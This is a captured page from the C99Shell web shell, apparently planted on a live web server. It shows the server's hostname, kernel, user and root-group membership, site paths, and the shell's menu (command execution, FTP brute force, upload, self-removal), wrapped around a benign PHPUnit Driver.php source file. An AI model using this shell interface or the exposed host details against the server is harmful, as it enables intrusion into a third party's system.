!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/phpunit/php-code-coverage/src/Driver/   drwxr-xr-x
Free 28.49 GB of 117.98 GB (24.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Driver.php (4.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of phpunit/php-code-coverage.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace SebastianBergmann\CodeCoverage\Driver;

use function 
sprintf;
use 
SebastianBergmann\CodeCoverage\BranchAndPathCoverageNotSupportedException;
use 
SebastianBergmann\CodeCoverage\DeadCodeDetectionNotSupportedException;
use 
SebastianBergmann\CodeCoverage\Filter;
use 
SebastianBergmann\CodeCoverage\NoCodeCoverageDriverAvailableException;
use 
SebastianBergmann\CodeCoverage\NoCodeCoverageDriverWithPathCoverageSupportAvailableException;
use 
SebastianBergmann\CodeCoverage\RawCodeCoverageData;

/**
 * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage
 */
abstract class Driver
{
    
/**
     * @var int
     *
     * @see http://xdebug.org/docs/code_coverage
     */
    
public const LINE_NOT_EXECUTABLE = -2;

    
/**
     * @var int
     *
     * @see http://xdebug.org/docs/code_coverage
     */
    
public const LINE_NOT_EXECUTED = -1;

    
/**
     * @var int
     *
     * @see http://xdebug.org/docs/code_coverage
     */
    
public const LINE_EXECUTED 1;

    
/**
     * @var int
     *
     * @see http://xdebug.org/docs/code_coverage
     */
    
public const BRANCH_NOT_HIT 0;

    
/**
     * @var int
     *
     * @see http://xdebug.org/docs/code_coverage
     */
    
public const BRANCH_HIT 1;

    
/**
     * @var bool
     */
    
private $collectBranchAndPathCoverage false;

    
/**
     * @var bool
     */
    
private $detectDeadCode false;

    
/**
     * @throws NoCodeCoverageDriverAvailableException
     * @throws PcovNotAvailableException
     * @throws PhpdbgNotAvailableException
     * @throws Xdebug2NotEnabledException
     * @throws Xdebug3NotEnabledException
     * @throws XdebugNotAvailableException
     *
     * @deprecated Use DriverSelector::forLineCoverage() instead
     */
    
public static function forLineCoverage(Filter $filter): self
    
{
        return (new 
Selector)->forLineCoverage($filter);
    }

    
/**
     * @throws NoCodeCoverageDriverWithPathCoverageSupportAvailableException
     * @throws Xdebug2NotEnabledException
     * @throws Xdebug3NotEnabledException
     * @throws XdebugNotAvailableException
     *
     * @deprecated Use DriverSelector::forLineAndPathCoverage() instead
     */
    
public static function forLineAndPathCoverage(Filter $filter): self
    
{
        return (new 
Selector)->forLineAndPathCoverage($filter);
    }

    public function 
canCollectBranchAndPathCoverage(): bool
    
{
        return 
false;
    }

    public function 
collectsBranchAndPathCoverage(): bool
    
{
        return 
$this->collectBranchAndPathCoverage;
    }

    
/**
     * @throws BranchAndPathCoverageNotSupportedException
     */
    
public function enableBranchAndPathCoverage(): void
    
{
        if (!
$this->canCollectBranchAndPathCoverage()) {
            throw new 
BranchAndPathCoverageNotSupportedException(
                
sprintf(
                    
'%s does not support branch and path coverage',
                    
$this->nameAndVersion()
                )
            );
        }

        
$this->collectBranchAndPathCoverage true;
    }

    public function 
disableBranchAndPathCoverage(): void
    
{
        
$this->collectBranchAndPathCoverage false;
    }

    public function 
canDetectDeadCode(): bool
    
{
        return 
false;
    }

    public function 
detectsDeadCode(): bool
    
{
        return 
$this->detectDeadCode;
    }

    
/**
     * @throws DeadCodeDetectionNotSupportedException
     */
    
public function enableDeadCodeDetection(): void
    
{
        if (!
$this->canDetectDeadCode()) {
            throw new 
DeadCodeDetectionNotSupportedException(
                
sprintf(
                    
'%s does not support dead code detection',
                    
$this->nameAndVersion()
                )
            );
        }

        
$this->detectDeadCode true;
    }

    public function 
disableDeadCodeDetection(): void
    
{
        
$this->detectDeadCode false;
    }

    abstract public function 
nameAndVersion(): string;

    abstract public function 
start(): void;

    abstract public function 
stop(): RawCodeCoverageData;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--